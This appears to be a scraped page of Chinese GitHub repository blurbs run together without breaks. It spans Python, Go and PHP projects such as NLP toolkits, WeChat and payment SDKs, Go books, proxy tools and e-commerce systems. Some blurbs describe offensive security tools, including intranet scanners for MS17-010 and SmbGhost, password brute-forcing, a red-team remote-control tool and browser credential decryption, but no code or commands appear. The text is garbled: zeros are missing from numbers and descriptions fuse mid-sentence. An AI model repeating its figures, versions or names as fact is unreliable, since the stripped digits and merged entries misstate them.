GitLab Gogs GitOsc 跟我一起写Makefile重制版 python自动化运维 技术与最佳实践 书中示例及案例源码自然语言处理实验 sougou数据集 TF IDF 文本分类 聚类 词向量 情感识别 关系抽取等微信公众平台 Python 开发包 DEPRECATED Weblogic一键漏洞检测工具 V1 5 更新时间 2 2 73 完备优雅的微信公众号接口 原生支持同步 协程使用 本程序旨在为安全应急响应人员对Linux主机排查时提供便利 实现主机侧Checklist的自动全面化检测 根据检测结果自动数据聚合 进行黑客攻击路径溯源 PyCharm 中文指南 安装 破解 效率 技巧类似按键精灵的鼠标键盘录制和自动化操作 模拟点击和键入GPT2 for Chinese chitchat 用于中文闲聊的GPT2模型 实现了DialoGPT的MMI思想 中华人民共和国国家标准 GB T 226 行政区划代码基于python的量化交易平台中文语音识别基于 OneBot 标准的 Python 异步 QQ 机器人框架Real World Masked Face Dataset 口罩人脸数据集 Vulfocus 是一个漏洞集成平台 将漏洞环境 docker 镜像 放入即可使用 开箱即用 谷歌 百度 必应图片下载 基于方面的情感分析 使用PyTorch实现 深度学习与计算机视觉 配套代码ART环境下自动化脱壳方案利用网络上公开的数据构建一个小型的证券知识图谱 知识库中文资源精选 官方网站 安装教程 入门教程 视频教程 实战项目 学习路径 QQ群 167122861 公众号 磐创AI 微信群二维码 www tensorflownews com Pre Trained Chinese XLNet 中文XLNet预训练模型 新浪微博Python SDK有关burpsuite的插件 非商店 文章以及使用技巧的收集 此项目不再提供burpsuite破解文件 如需要请在博客mrxn net下载Python3编写的CMS漏洞检测框架基于django的工作流引擎 工单 ️ 哔哩云 不支持任意文件的全速上传与下载微信SDK 包括微信支付 微信公众号 微信登陆 微信消息处理等中文自然语言理解堡垒机 云桌面自动化运维 审计 录像 文件管理 sftp上传 实时监控 录像回放 网页版rz sz上传下载 动态口令 django转换中国知网 CAJ 格式文献为 PDF 佛系转换 成功与否 皆是玄学 HanLP作者的新书 自然语言处理入门 详细笔记 业界良心之作 书中不是枯燥无味的公式罗列 而是用白话阐述的通俗易懂的算法模型 从基本概念出发 逐步介绍中文分词 词性标注 命名实体识别 信息抽取 文本聚类 文本分类 句法分析这几个热门问题的算法原理与工程实现 Python3 网络爬虫实战 部分含详细教程 猫眼 腾讯视频 豆瓣 研招网 微博 笔趣阁小说 百度热点 B站 CSDN 网易云阅读 阿里文学 百度股票 今日头条 微信公众号 网易云音乐 拉勾 有道 unsplash 实习僧 汽车之家 英雄联盟盒子 大众点评 链家 LPL赛程 台风 梦幻西游 阴阳师藏宝阁 天气 牛客网 百度文库 睡前故事 知乎 Wish微信公众号文章的爬虫 Python Web开发实战 书中源码一直可用的GoAgent 会定时扫描可用的google gae ip 提供可自动化获取ip运行的版本层剪枝 通道剪枝 知识蒸馏 中文命名实体识别 包括多种模型 HMM CRF BiLSTM BiLSTM CRF的具体实现 The Way to Go 中文译本 中文正式名 Go 入门指南 谢谢 Solutions to LeetCode by Go 1 % test coverage runtime beats 1 % LeetCode 题解一款轻量级 高性能 功能强大的内网穿透代理服务器 支持tcp udp socks5 http等几乎所有流量转发 可用来访问内网网站 本地支付接口调试 ssh访问 远程桌面 内网dns解析 内网socks5代理等等 并带有功能强大的web管理端 Go语言高级编程 开源图书 涵盖CGO Go汇编语言 RPC实现 Protobuf插件实现 Web框架实现 分布式系统等高阶主题 完稿 是一个跨平台的强加密无特征的代理软件 零配置 算法模板 最科学的刷题方式 最快速的刷题路径 你值得拥有 百度网盘不限速客户端 golang qt5 跨平台图形界面是golang实现的高性能http https websocket tcp socks5代理服务器 支持内网穿透 链式代理 通讯加密 夜读 通过 bilibili 在线直播的方式分享 Go 相关的技术话题 每天大家在微信 telegram Slack 上及时沟通交流编程技术话题 支持多家云存储的云盘系统 这里是写博客的地方 Halfrost Field 冰霜之地Lantern官方版本下载 蓝灯 翻墙 代理 科学上网 外网 加速器 梯子 路由基于gin vue搭建的后台管理系统框架 集成jwt鉴权 权限管理 动态路由 分页封装 多点登录拦截 资源权限 上传下载 代码生成器 表单生成器 通用工作流等基础功能 五分钟一套CURD前后端代码 目VUE3版本正在重构 欢迎issue和pr 分布式爬虫管理平台 支持任何语言和框架Golang标准库 对于程序员而言 标准库与语言本身同样重要 它好比一个百宝箱 能为各种常见的任务提供完美的解决方案 以示例驱动的方式讲解Golang的标准库 天用Go动手写 从零实现系列是一个高性能且低损耗的 goroutine 池 有 有 设计模式 Golang实现 研磨设计模式 读书笔记Golang实现的基于beego框架的接口在线文档管理系统高性能开源RTSP流媒体服务器 基于go语言研发 维护和优化 RTSP推模式转发 RTSP拉模式转发 是一个高性能 轻量级 非阻塞的事件驱动 Go 网络框架 基于Gin Vue Element UI的前后端分离权限管理系统脚手架 包含了 多租户的支持 基础用户管理功能 jwt鉴权 代码生成器 RBAC资源控制 表单构建 定时任务等 3分钟构建自己的中后台项目 文档蓝鲸智云配置平台 BlueKing CMDB 今日热榜 一个获取各大热门网站热门头条的聚合网站 使用Go语言编写 多协程异步快速抓取信息 预览 mo fish一条命令离线安装高可用kubernetes 3min装完 7 M 1 年证书 生产环境稳如老狗阿里巴巴开源的一款简单易用 功能强大的混沌实验注入工具 Go语言四十二章经 详细讲述Go语言规范与语法细节及开发中常见的误区 通过研读标准库等经典代码设计模式 启发读者深刻理解Go语言的核心思维 进入Go语言开发的更高阶段 ️一个轻巧的网络混淆代理 基于Golang轻量级TCP并发服务器框架定时任务管理系统KubeOperator 是一个开源的轻量级 Kubernetes 发行版 专注于帮助企业规划 部署和运营生产级别的 K8s 集群 本系统是集工单统计 任务钩子 权限管理 灵活配置流程与模版等等于一身的开源工单系统 当然也可以称之为工作流引擎 致力于减少跨部门之间的沟通 自动任务的执行 提升工作效率与工作质量 减少不必要的工作量与人为出错率 Go实现的Trojan代理 支持多路复用 路由功能 CDN中转 Shadowsocks混淆插件 多平台 无依赖 Go语法树入门 开启自制编程语言和编译器之旅 开源免费图书 Go语言进阶 掌握抽象语法树 Go语言AST 凹语言 一款可全平台运行的浏览器数据导出解密工具 Golang相关 审稿进度8 % Go语法 Go并发思想 Go与web开发 Go微服务设施等Jupiter是斗鱼开源的面向服务治理的Golang微服务框架Elasticsearch 可视化DashBoard 支持Es监控 实时搜索 Index template快捷替换修改 索引列表信息查看 SQL converts to DSL等 从问题切入 串连 Go 语言相关的所有知识 融会贯通 golang design go questionsWeChat SDK for Go 微信SDK 简单 易用 go fastdfs 是一个简单的分布式文件系统 私有云存储 具有无中心 高性能 高可靠 免维护等优点 支持断点续传 分块上传 小文件合并 自动同步 自动修复 Mastering GO 中文译本 玩转 GO 云原生且易用的应用管理平台 Go Web 基础 是一套针对 Google 出品的 Go 语言的视频语音教程 主要面向完成 Go 编程基础 教程后希望进一步了解有关 Go Web 开发的学习者 中文名 悟空 API 网关 是一个基于 Golang开发的微服务网关 能够实现高性能 HTTP API 转发 服务编排 多租户管理 API 访问权限控制等目的 拥有强大的自定义插件系统可以自行扩展 并且提供友好的图形化配置界面 能够快速帮助企业进行 API 服务治理 提高 API 服务的稳定性和安全性 集合多家 API 的新一代图床MIT课程 Distributed Systems 学习和翻译Go语言圣经中文版 只接收PR Issue请提交到golang china gopl zh trojan多用户管理部署程序 支持web页面管理BookStack 基于MinDoc 使用Beego开发的在线文档管理系统 功能类似Gitbook和看云 weixin wechat 微信公众平台 微信企业号 微信商户平台 微信支付 go golang sdk 蓝眼云盘 Eyeblue Cloud Storage 语言高性能编程 Go 语言陷阱 Gotchas Traps 使用 XMind 记录 Linux 操作系统 网络 C Golang 以及数据库的一些设计cqhttp的golang实现 轻量 原生跨平台 mqant是一款基于Golang语言的简洁 高效 高性能的分布式微服务框架基于react node js go开发的微商城 含微信小程序 MM Wiki 一个轻量级的企业知识分享与团队协同软件 可用于快速构建企业 Wiki 和团队知识分享平台 部署方便 使用简单 帮助团队构建一个信息共享 文档管理的协作环境 Go 语言中文网 Golang中文社区 Go语言学习园地 源码基于 Gin 进行模块化设计的 API 框架 封装了常用功能 使用简单 致力于进行快速的业务研发 比如 支持 cors 跨域 jwt 签名验证 zap 日志收集 panic 异常捕获 trace 链路追踪 prometheus 监控指标 swagger 文档生成 viper 配置文件解析 gorm 数据库组件 gormgen 代码生成工具 graphql 查询语言 errno 统一定义错误码 gRPC 的使用 等等 syncd是一款开源的代码部署工具 它具有简单 高效 易用等特点 可以提高团队的工作效率 一款由 YSRC 开源的主机入侵检测系统golang面试题集合这是一个可以识别视频语音自动生成字幕SRT文件的开源 Windows GUI 软件工具 一款内网综合扫描工具 方便一键自动化 全方位漏扫扫描 是一个用于在两个redis之间同步数据的工具 满足用户非常灵活的同步 迁移需求 Overlord是哔哩哔哩基于Go语言编写的memcache和redis cluster的代理及集群管理功能 致力于提供自动化高可用的缓存服务解决方案 Stack RPC 中文示例 教程 资料 源码解读ICMP流量伪装转发工具Freedom是一个基于六边形架构的框架 可以支撑充血的领域模型范式 Go2编程指南 开源图书 重点讲解Go2新特性 以及Go1教程中较少涉及的特性语言高性能分词golang写的IM服务器 服务组件形式 结巴 中文分词的Golang版本xorm是一个简单而强大的Go语言ORM库 通过它可以使数据库操作非常简便 本库是基于原版xorm的定制增强版本 为xorm提供类似ibatis的配置文件及动态SQL支持 支持AcitveRecord操作一个 Go 语言实现的快速 稳定 内嵌的 k v 数据库 高性能表格数据导出器基于Golang的开源社区系统 版本网易云音乐ncm文件格式转换 go 实现的压测工具 ab locust Jmeter压测工具介绍 单台机器1 w连接压测实战 抓包截取项目中的数据库请求并解析成相应的语句 Go专家编程 Go语言快速入门 轻松进阶 <<自己动手写docker 源码Go 每日一库kunpeng是一个Golang编写的开源POC框架 库 以动态链接库的形式提供各种语言调用 通过此项目可快速开发漏洞检测类的系统 vue js element框架 golang beego框架 开发的运维发布系统 支持git jenkins版本发布 go ssh BT两种文件传输方式选择 支持部署前准备任务和部署后任务钩子函数 Go 从入门到实战 学习笔记 从零开始学 Go Gin 框架 基本语法包括 26 个Demo Gin 框架包括 Gin 自定义路由配置 Gin 使用 Logrus 进行日志记录 Gin 数据绑定和验证 Gin 自定义错误处理 Go gRPC Hello World 持续更新中 Go 学习之路 Go 开发者博客 Go 微信公众号 Go 学习资料 文档 书籍 视频 微信 WeChat 支付宝 AliPay 的Go版本SDK 极简 易用的聚合支付SDK Go by Example 通过例子学 GolangPPGo Job是一款可视化的 多人多权限的 一任务多机执行的定时任务管理系统 采用golang开发 安装方便 资源消耗少 支持大并发 可同时管理多台服务器上的定时任务 Golang实现的IP代理池是一款用Go语言开发的web应用框架 API特性类似于Tornado并且拥有比Tornado更好的性能 自己动手写Java虚拟机 随书源代码支付宝 AliPay SDK for Go 集成简单 功能完善 持续更新 支持公钥证书和普通公钥进行签名和验签 ARCHIVED Geph 迷霧通帮助你将本地端口暴露在外网 支持TCP UDP 当然也支持HTTP 深入Go并发编程研讨课无状态子域名爆破工具手机号码归属地信息库 手机号归属地查询 phone dat 最后更新 2 21年 6月 golang基于websocket单台机器支持百万连接分布式聊天 IM 系统基于mongodb oplog的集群复制工具 可以满足迁移和同步的需求 进一步实现灾备和多活功能 Gin Gorm开发Golang API快速开发脚手架简单可信赖的任务管理工具Go语言实例教程从入门到进阶 包括基础库使用 设计模式 面试易错点 工具类 对接第三方等授权框架简体中文翻译 自动抓取tg频道 订阅地址 公开互联网上的ss ssr vmess trojan节点信息 聚合去重后提供节点列表轻量级 go 业务框架 哪吒监控 一站式轻监控轻运维系统 支持系统状态 TCP Ping 监控报警 命令批量执行和计划任务 Go 语言官方教程中文版工程师知识管理系统 基于golang go语言 beego框架 每个行业都有自己的知识管理系统 engineercms旨在为土木工程师们打造一款适用的基于web的知识管理系统 它既可以用于管理个人的项目资料 也可以用于管理项目团队资料 它既可以运行于个人电脑 也可以放到服务器上 支持提取码分享文件 onlyoffice实时文档协作 直接在线编辑dwg文件 office文档 在线利用mindoc创作你的书籍 阅览PDF文件 通用的业务流程设置 手机端配套小程序 微信搜索“珠三角设代”或“青少儿书画”即可呼出小程序 边界打点后的自动化渗透工具一个集审核 执行 备份及生成回滚语句于一身的MySQL运维工具汉字转拼音 Go资源精选中文版 含中文图书大全 语言实现的 Redis 服务器和分布式集群 超全golang面试题合集 golang学习指南 golang知识图谱 入门成长路线 一份涵盖大部分golang程序员所需要掌握的核心知识 常用第三方库 mysql mq es redis等 机器学习库 算法库 游戏库 开源框架 自然语言处理nlp库 网络库 视频库 微服务框架 视频教程 音频音乐库 图形图片库 物联网库 地理位置信息 嵌入式脚本库 编译器库 数据库 金融库 电子邮件库 电子书籍 分词 数据结构 设计模式 去html tag标签等 go学习 go面试go语言扩展包 收集一些常用的操作函数 辅助更快的完成开发工作 并减少重复代码百灵快传 基于Go语言的高性能 手机电脑超大文件传输神器 局域网共享文件服务器 LAN large file transfer tool 一个基于云存储的网盘系统 用于自建私人网盘或企业网盘 go分布式服务器 基于内存mmo个人博客微信小程序服务端 SDK for Golang 控制台颜色渲染工具库 支持16色 256色 RGB色彩渲染输出 使用类似于 Print Sprintf 兼容并支持 Windows 环境的色彩渲染基于 IoC 的 Go 后端一站式开发框架 v2ray web manager 是一个v2ray的面板 也是一个集群的解决方案 同时增加了流量控制 账号管理 限速等功能 key admin panel web cluster 集群 proxyServerScan一款使用Golang开发的高并发网络扫描 服务探测工具 是http client领域的瑞士军刀 小巧 强大 犀利 具体用法可看文档 如使用迷惑或者API用得不爽都可提issuesTcpRoute TCP 层的路由器 对于 TCP 连接自动从多个线路 电信 联通 移动 多个域名解析结果中选择最优线路 Bifrost 面向生产环境的 MySQL 同步到Redis MongoDB ClickHouse MySQL等服务的异构中间件应用网关 提供快速 安全的应用交付 身份认证 WAF CC HTTPS以及ACME自动证书 A telegram bot for rss reader 一个支持应用内阅读的 Telegram RSS Bot RESTful API 文档生成工具 支持和 Ruby 等大部分语言 基于gin gorm开发的个人博客项目基于Go语言的国密SM2 SM3 SM4算法库 Golang 设计模式一个阿里云盘列表程序 一款小巧的基于Go构建的开发框架 可以快速构建API服务或者Web网站进行业务开发 遵循SOLID设计原则并发编程实战 第2版 Go 学习 Go 进阶 Go 实用工具类 Go kit Go Micro 微服务实践 Go 推送基于DDD的o2o的业务模型及基础 使用Golang gRPC Thrift实现Sharingan 写轮眼 是一个基于golang的流量录制回放工具 适合项目重构 回归测试等 百度云网盘爬虫基于beego的进销存系统 TeaWeb 可视化的Web代理服务 DEMO teaos cn 白帽子安全开发实战 配套代码抖音推荐 搜索页视频列表视频爬虫方案 基于app 虚拟机或真机 相关技术 golang adb一款甲方资产巡航扫描系统 系统定位是发现资产 进行端口爆破 帮助企业更快发现弱口令问题 主要功能包括 资产探测 端口爆破 定时任务 管理后台识别 报表展示提供微信终端版本 微信命令行版本聊天功能 微信机器人 ️ 互联网最全大厂技术分享PPT 持续更新中 各大技术交流会 活动资料汇总 如 QCon 全球运维技术大会 GDG 全球技术领导力峰会 大前端大会 架构师峰会 敏捷开发DevOps OpenResty Elastic 欢迎 PR Issues日本麻将助手 牌效 防守 记牌 支持雀魂 天凤 开源客服系统GO语言开发GO FLY 免费客服系统一个查询IP地理信息和CDN服务提供商的离线终端工具 是一个用于系统重构 系统迁移和系统分析的瑞士军刀 它可以分析代码中的测试坏味道 模块化分析 行数统计 分析调用与依赖 Git 分析以及自动化重构等 一个直播录制工具Mastering Go 第二版中文版来袭 渗透测试情报收集工具分布式定时任务调度平台高度模块化 遵循 KISS原则的区块链开发框架golang版本的hangout 希望能省些内存 使用了自己写的Kafka lib 虚 不过我们在生产环境已经使用近1年 kafka 版本从 9 1到2 都在使用 目前情况稳定 吞吐量在每天2 亿条以上 Go 语言 Web 应用开发系列教程 从新手到双手残废iris 框架的后台api项目简单好用的DDNS 自动更新域名解析到公网IP 支持阿里云 腾讯云dnspod Cloudflare 华为云 自己动手实现Lua 随书源代码php直播go直播 短视频 直播带货 仿比心 猎游 tt语音聊天 美女约玩 陪玩系统源码开黑 约玩源码 社区开源 云原生的多云和混合云融合平台 Jiajun的编程随想Golang语言社区 腾讯课堂 网易云课堂 字节教育课程PPT及代码基于GF Go Frame 的后台管理系统带你了解一下Golang的市场行情mysql表结构自动同步工具 目前只支持字段 索引的同步 分区等高级功能暂不支持 基于Kubernetes的PaaS平台流媒体NetFlix解锁检测脚本稳定分支2 9 X 版本已更新 由 Golang语言游戏服务器 维护 全球服游戏服务器及区域服框架 目前协议支持websocket KCP TCP及RPC 采用状态同步 帧同步内测 愿景 打造MMO多人竞技游戏框架 功能持续更新中 基于 Golang 类似知乎的私有部署问答应用 包含问答 评论 点赞 管理后台等功能全新的开源漏洞测试框架 实现poc在线编辑 运行 批量测试 使用文档 XAPI MANAGER 专业实用的开源接口管理平台 为程序开发者提供一个灵活 方便 快捷的API管理工具 让API管理变的更加清晰 明朗 如果你觉得xApi对你有用的话 别忘了给我们点个赞哦 qq协议的golang实现 移植于miraigo版本极简工作流引擎全平台Go开源内网渗透扫描器框架 Windows Linux Mac内网渗透 使用它可轻松一键批量探测C段 B段 A段存活主机 高危漏洞检测MS17 1 SmbGhost 远程执行SSH Winrm 密码爆破端口扫描服务识别PortScan指纹识别多网卡主机 端口扫描服务识别PortScan iikira BaiduPCS Go原版基础上集成了分享链接 秒传链接转存功能 e签宝安全团队积累十几年的安全经验 都将对外逐步开放 首开的Ehoney欺骗防御系统 该系统是基于云原生的欺骗防御系统 也是业界唯一开源的对标商业系统的产品 欺骗防御系统通过部署高交互高仿真蜜罐及流量代理转发 再结合自研密签及诱饵 将攻击者攻击引导到蜜罐中达到扰乱引导以及延迟攻击的效果 可以很大程度上保护业务的安全 护网必备良药漂亮的Go语言通用后台管理框架 包含计划任务 MySQL管理 Redis管理 FTP管理 SSH管理 服务器管理 Caddy配置 云存储管理等功能 微信支付 WeChat Pay SDK for Golang用于监控系统的日志采集agent 可无缝对接open falcon阿里巴巴mysql数据库binlog的增量订阅 消费组件 Canal 的 go 客户端 github com alibaba canal 用于比较2个redis数据是否一致 支持单节点 主从 集群版 以及多种proxy 支持同构以及异构对比 redis的版本支持2 x 5 x 使用go micro微服务实现的在线电影院订票系统后端一站式微服务框架 提供API web websocket RPC 任务调度 消息消费服务器红蓝对抗跨平台远控工具Interchain protocol 跨链协议简单易用 足够轻量 性能好的 Golang 库一个go echo vue 开发的快速 简洁 美观 前后端分离的个人博客系统 blog 也可方便二次开发为CMS 内容管理系统 和各种企业门户网站 正在更新权限管理 hauth项目 不是一个前端or后台框架 而是一个集成权限管理 菜单资源管理 域管理 角色管理 用户管理 组织架构管理 操作日志管理等等的快速开发平台. hauth是一个基础产品 在这个基础产品上 根据业务需求 快速的开发应用服务.账号 admin 密码 123456通用的数据验证与过滤库 使用简单 内置大部分常用验证 过滤器 支持自定义验证器 自定义消息 字段翻译 CTF AWD Attack with Defense 线下赛平台 AWD platform 欢迎 Star 蓝鲸智云容器管理平台 BlueKing Container Service 程序员如何优雅的挣零花钱 2 版 升级为小书了 一个 PHP 微信 SDKAV 电影管理系统 avmoo javbus javlibrary 爬虫 线上 AV 影片图书馆 AV 磁力链接数据库ThinkPHP Framework 十年匠心的高性能PHP框架 最全的前端资源汇总仓库 包括前端学习 开发资源 求职面试等 多语言多货币多入口的开源电商 B2C 商城 支持移动端vue app html5 微信小程序微店 微信小程序商城等可能是我用过的最优雅的 Alipay 和 WeChat 的支付 SDK 扩展包了 基于词库的中文转拼音优质解决方案 我用爬虫一天时间“偷了”知乎一百万用户 只为证明PHP是世界上最好的语言 所使用的程序微信 SDK for Laravel 基于 overtrue wechat开源在线教育点播系统 一款满足你的多种发送需求的短信发送组件 基于 Laravel 的后台系统构建工具 Laravel Admin 使用很少的代码快速构建一个功能完善的高颜值后台系统 内置丰富的后台常用组件 开箱即用 让开发者告别冗杂的HTML代码一个想帮你总结所有类型的上传漏洞的靶场优雅的渐进式PHP采集框架 Laravel 电商实战教程的项目代码Payment是php版本的支付聚合第三方sdk 集成了微信支付 支付宝支付 招商一网通支付 提供统一的调用接口 方便快速接入各种支付 查询 退款 转账能力 服务端接入支付功能 方便 快捷 SPF Swoole PHP Framework 世界第一款基于Swoole扩展的PHP框架 开发者是Swoole创始人 A Wonderful WordPress Theme 樱花庄的白猫博客主题图床 此项目已弃用 基于 ThinkPHP 基础开发平台 登录账号密码都是 admin PanDownload网页复刻版一个开源的网址导航网站项目 您可以拿来制作自己的网址导航 使用PHP Swoole实现的网页即时聊天工具 独角数卡 发卡 开源式站长自动化售货解决方案 高效 稳定 快速 卡密商城系统 高效安全的在线卡密商城 ️命令行模式开发框架ShopXO免费开源商城系统 国内领先企业级B2C免费开源电商系统 包含PC h5 微信小程序 支付宝小程序 百度小程序 头条 抖音小程序 QQ小程序 APP 多商户 遵循MIT开源协议发布 基于 ThinkPHP5 1框架研发Wizard是一款开源的文档管理工具 支持Markdown Swagger Table类型的文档 Swoole MySQL Proxy 一个基于 MySQL 协议 Swoole 开发的MySQL数据库连接池 学习资源整合Freenom域名自动续期一个好玩的Web安全 漏洞测试平台一个基于Yii2高级框架的快速开发应用引擎蓝天采集器是一款免费的数据采集发布爬虫软件 采用php mysql开发 可部署在云服务器 几乎能采集所有类型的网页 无缝对接各类CMS建站程序 免登录实时发布数据 全自动无需人工干预 是网页大数据采集软件中完全跨平台的云端爬虫系统免费开源的中文搜索引擎 采用 C C 编写 基于 xapian 和 scws 提供 PHP 的开发接口和丰富文档WDScanner平台目前实现了如下功能 分布式web漏洞扫描 客户管理 漏洞定期扫描 子域名枚举 端口扫描 网站爬虫 暗链检测 坏链检测 网站指纹搜集 专项漏洞检测 代理搜集及部署等功能 ️兰空图床图标工场 移动应用图标生成工具 一键生成所有尺寸的应用图标和启动图 Argon 一个轻盈 简洁的 WordPress 主题Typecho Fans插件作品目录PHP代码审计分段讲解一个结构清晰的 易于维护的 现代的PHP Markdown解析器百度贴吧云签到 在服务器上配置好就无需进行任何操作便可以实现贴吧的全自动签到 配合插件使用还可实现云灌水 点赞 封禁 删帖 审查等功能 注意 Gitee 原Git osc 仓库将不再维护 目前唯一指定的仓库为 Github 本项目没有官方交流群 如需交流可以直接使用Github的Discussions 没有商业版本 目前贴吧云签到由社区共同维护 不会停止更新 PR 通常在一天内处理 微信调试 API调试和AJAX的调试的工具 能将日志通过WebSocket输出到Chrome浏览器的console中 結巴 中文分詞 做最好的 PHP 中文分詞 中文斷詞組件EleTeam开源项目 电商全套解决方案之PHP版 Shop for PHP Yii2 一个类似京东 天猫 淘宝的商城 有对应的APP支持 由EleTeam团队维护 RhaPHP是微信第三方管理平台 微信公众号管理系统 支持多公众号管理 CRM会员管理 小程序开发 APP接口开发 几乎集合微信功能 简洁 快速上手 快速开发微信各种各样应用 简洁 好用 快速 项目开发快几倍 群 656868 一刻社区后端 API 源码 新 微信服务号 微信小程序 微信支付 支付宝支付苹果cms v1 maccms v1 麦克cms 开源cms 内容管理系统 视频分享程序 分集剧情程序 网址导航程序 文章程序 漫画程序 图片程序一个PHP文件搞定支付宝支付系列 包括电脑网站支付 手机网站支付 现金红包 消费红包 扫码支付 JSAPI支付 单笔转账到支付宝账户 交易结算 分账 分润 网页授权获取用户信息等restful api风格接口 APP接口 APP接口权限 oauth2 接口版本管理 接口鉴权基于企业微信的开源SCRM应用开发框架 引擎 也是一套通用的企业私域流量管理系统 API接口大全不断更新中 欢迎Fork和Star 1 一言 古诗句版 api 2 必应每日一图api 3 在线ip查询 4 m3u8视频在线解析api 5 随机生成二次元图片api 6 快递查询api 支持国内百家快递 7 flv视频在线解析api 8 抖音视频无水印解析api 9 一句话随机图片api 1 QQ用户信息获取api 11 哔哩哔哩封面图获取api 12 千图网58pic无水印解析下载api 13 喜马拉雅主播FM数据采集api 14 网易云音乐api 15 CCTV央视网视频解析api 16 微信运动刷步数api 17 皮皮搞笑 基于swoole的定时器程序 支持秒级处理群 656868 ️ Saber PHP异步协程HTTP客户端微信支付单文件版 一个PHP文件搞定微信支付系列 包括原生支付 扫码支付 H5支付 公众号支付 现金红包 企业付款到零钱等 新增V3版 一个还不错的图床工具 支持Mac Win Linux服务器 支持压缩后上传 添加图片或文字水印 多文件同时上传 同时上传到多个云 右击任意文件上传 快捷键上传剪贴板截图 Web版上传 支持作为Mweb Typora发布图片接口 作为PicGo ShareX uPic等的自定义图床 支持在服务器上部署作为图床接口 支持上传任意格式文件 可能是我用过的最优雅的 Alipay 和 WeChat 的 laravel 支付扩展包了上传大文件的Laravel扩展包开发内功修炼Laravel核心代码学习南京邮电大学开源 Online Judge QQ群 6681 8264 免费IP地址数据库 已支持IPV4 IPV6 结构化输出为国家 省 市 县 运营商 中文数据库 方便实用 laravel5 5和vue js结合的前后端分离项目模板 后端使用了laravel的LTS版本 5 5 前端使用了流行的vue element template项目 作为程序的起点 可以直接以此为基础来进行业务扩展 模板内容包括基础的用户管理和权限管理 日志管理 集成第三方登录 整合laravel echo server 实现了websocket 做到了消息的实时推送 并在此基础上 实现了聊天室和客服功能 权限管理包括后端Token认证和前端vue js的动态权限 解决了前后端完整分离的情况下 vue js的认证与权限相关的痛点 已在本人的多个项目中集成使用 Web安全之机器学习入门 网易云音乐升级APIPHP 集成支付 SDK 集成了支付宝 微信支付的支付接口和其它相关接口的操作 支持 php fpm 和 Swoole 所有框架通用 宇润PHP全家桶技术支持群 17916227MDClub 社区系统后端代码imi 是基于 Swoole 的 PHP 协程开发框架 它支持 Http2 WebSocket TCP UDP MQTT 等主流协议的服务开发 特别适合互联网微服务 即时通讯聊天im 物联网等场景 QQ群 17916227WordPress 版 WebStack 导航主题 nav iowen cnLive2D 看板娘插件 www fghrsh net post 123 html 上使用的后端 API简单搜索 一个简单的前端界面 用惯了各种导航首页 满屏幕尽是各种不厌其烦的广告和资讯 尝试自己写个自己的主页 国内各大CTF赛题及writeup整理收集自网络各处的 webshell 样本 用于测试 webshell 扫描器检测率 PHP微信SDK 微信平台 微信支付 码小六 GitHub 代码泄露监控系统PHP表单生成器 快速生成现代化的form表单 支持前后端分离 内置复选框 单选框 输入框 下拉选择框 省市区三级联动 时间选择 日期选择 颜色选择 文件 图片上传等17种常用组件 悟空CRM 基于TP5 vue ElementUI的前后端分离CRM系统V免签PHP版 完全开源免费的个人免签约解决方案Composer 全量镜像发布于2 17年3月 曾不间断运行2年多 这个开源有助于理解 Composer 镜像的工作原理一个多彩 轻松上手 体验完善 具有强大自定义功能的WordPress主题 基于Sakura主题全球免费代理IP库 高可用IP 精心筛选优质IP 2s必达LaraCMS 是在学习 laravel web 开发实战进阶 实战构架 API 服务器 过程中产生的一个业余作品 试图通过简单的方式 快速构建一套基本的企业站同时保留很灵活的扩展能力和优雅的代码方式 当然这些都得益Laravel的优秀设计 同时LaraCMS 也是一个学习Laravel 不错的参考示例 已停止维护 HookPHP基于C扩展搭建内置AI编程的架构系统 支持微服务部署 热插拔业务组件 集成业务模型 权限模型 UI组件库 多模板 多平台 多域名 多终端 多语言 含常驻内存 前后分离 API平台 LUA QQ群 67911638 中华人民共和国居民身份证 中华人民共和国港澳居民居住证以及中华人民共和国台湾居民居住证号码验证工具 PHP 版 最简单的91porn爬虫php版本Fend 是一款短小精悍 可在 FPM Swoole 服务容器平滑切换的高性能PHP框架 no evil 实现过滤敏感词汇 基于确定有穷自动机 DFA 算法 支持composer安装扩展Z BlogPHP博客程序IYUU自动辅种工具 目前能对国内大部分的PT站点自动辅种 支持下载器集群 支持多盘位 支持多下载目录 支持远程连接等 果酱小店 基于 Laravel swoole 小程序的开源电商系统 优雅与性能兼顾 這是一份純靠北工程師的專案 請好好愛護它 謝謝 EC ecjia 到家是一款可开展O2O业务的移动电商系统 它包含 移动端APP 采用原生模式开发 覆盖使用iOS 及Android系统的移 动终端 后台系统 针对平台日常运营维护的平台后台 针对入驻店铺管理的商家后台 独立并行 移动端H5 能够灵活部署于微信及其他APP 网页等 Material Design 指南的中文翻译 一个纯php分词 thinkphp5 1 layui 实现的带rbac的基础管理后台 方便快速开发法使用百度pcs上传脚本目前最全的前端开发面试题及答案樱花内网穿透网站源代码 2 2 重制版MeepoPS是Meepo PHP Socket的缩写 旨在提供稳定的Socket服务 可以轻松构建在线实时聊天 即时游戏 视频流媒体播放等 基础目录 聚合所有其他目录 包含文档和例子基于 Vue js 的简洁一般强大的 WordPress 单栏博客主题阿里云打造Laravel最好的OSS Storage扩展 网上在线商城 综合网上购物平台swoolefy是一个基于swoole实现的轻量级 高性能 协程级 开放性的API应用服务框架基于redis实现高可用 易拓展 接入方便 生产环境稳定运行的延迟队列 一款基于WordPress开发的高颜值的自适应主题 支持白天与黑夜模式 无刷新加载等 阿里云 OSS 官方 SDK 的 Composer 封装 支持任何 PHP 项目 包括 Laravel Symfony TinyLara 等等 此插件将你的WordPress接入本土生态体系之中 使之更适合国内应用环境PHP的服务化框架 适用于Api Server Rpc Server 帮助原生PHP项目转向微服务化 出色的性能与支持高并发的协程相结合基于ThinkPHP V6 开发的面向API的后台管理系统 PHP Swoole 开发的在线同步点歌台 支持自由点歌 切歌 调整排序 删除指定音乐以及基础权限分级信呼 免费开源的办公OA系统 包括APP pc上客户端 REIM即时通信 服务端等 让每个企业单位都有自己的办公系统 来客电商 微信小程序商城 APP商城 公众号商城 PC商城系统 支付宝小程序商城 抖音小程序商城 百度小程序电商系统 前后端代码全部开源 注重界面美感与用户体验 打造独特电商系统生态圈哔哩哔哩 Bilibili B 站主站助手 直播助手 直播抽奖 挂机升级 贴心小棉袄脚本 Lv6 离你仅有一步之遥 PHP 版 Personal 一个运用php与swoole实现的统计监控系统短视频去水印 抖音 皮皮虾 火山 微视 微博 绿洲 最右 轻视频 快手 全民小视频 巴塞电影 陌陌 Before避风 开眼 Vue Vlog 小咖秀 皮皮搞笑 全民K歌 西瓜视频 中国农历 阴历 与阳历 公历 转换与查询工具AoiAWD 专为比赛设计 便携性好 